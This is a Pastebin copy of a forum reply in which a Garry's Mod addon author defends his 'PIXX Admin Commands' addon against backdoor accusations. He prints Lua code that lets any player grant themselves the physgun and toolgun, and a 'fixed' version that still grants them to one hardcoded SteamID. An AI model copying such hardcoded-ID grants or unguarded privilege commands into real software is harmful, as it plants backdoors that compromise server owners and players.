Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- [QUOTE=StonedPenguin;51818479]
- PIXX Admin Commands
- https://steamcommunity.com/sharedfil.../?id=675647942
- https://steamcommunity.com/profiles/76561198125868429
- http://cloud-3.steamusercontent.com/...88317554E5944/
- lua\autorun\server\server.lua
- [/QUOTE]
- *coughs* ummm. I wasn't here..
- No but in a serious note, The addon, PIXX Admin Commands was a really shitty addon I made. It was poorly update as I was at the time also working on Star Wars Force Choke, a addon with around 40k subscribers. When I wrote that script, the admin commands, I was really new to lua as a coding language, in fact I had a update that was gonna come out the day the addon was taken down, which was more fixed and not had this "backdoor".
- The "backdoor":
- [code]
- concommand.Add("dank_physgun",function(ply)
- if ply:IsValid() then
- RunConsoleCommand("ulx give "..ply:GetName().." weapon_physgun")
- end)
- concommand.Add("pixx_toolgun",function(ply)
- if ply:IsValid() then
- RunConsoleCommand("ulx give "..ply:GetName().." gmod_tool")
- end
- end)
- concommand.Add("pixx_kickbots",function(ply)
- if ply:IsBot() then
- ply:Kick("Bots are not allowed")
- end
- end)
- [/code]
- The version that was suppose to be released;
- [code]
- if SERVER then
- util.AddNetworkString("DAC_AdminWeapons")
- util.AddNetworkString("DAC_Error")
- net.Receive("DAC_AdminWeapons",function(len, ply)
- if ply:IsValid() then
- if ply:SteamID() == "STEAM_0:1:82801350" then
- ply:Give("gmod_tool")
- ply:Give("weapon_physgun")
- print(ply:Nick().." have obtained Tool gun and Physgun!")
- end
- if ply:IsAdmin() then
- ply:Give("gmod_tool")
- ply:Give("weapon_physgun")
- print(ply:Nick().." have obtained Tool gun and Physgun!")
- else
- local eMsg = "You are not admin!"
- net.Start("DAC_Error")
- net.WriteString(eMsg)
- net.Send(ply)
- end
- end
- end)
- end
- [/code]
- The code wasn't suppose to be harmless and wasn't supposed to be used for much, it was more of a fun project I had going. I wanted to learn lua, but I didn't realise it could "harm" anyone, but thanks. Thanks for pointing it out. Thanks for the lovely comments on the addon. Now if you excuse me I will go and continue being a "cunt" who "backdoors" :D
- This reply is not approved by anyone or should be taken like hate, it's just my opinion on the topic, that my addon, which was really shitty and I regret making it and in my defense I did [B][U]not[/U][B] know this was a thing.
- - PIXX aka "A backdoor cunt"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement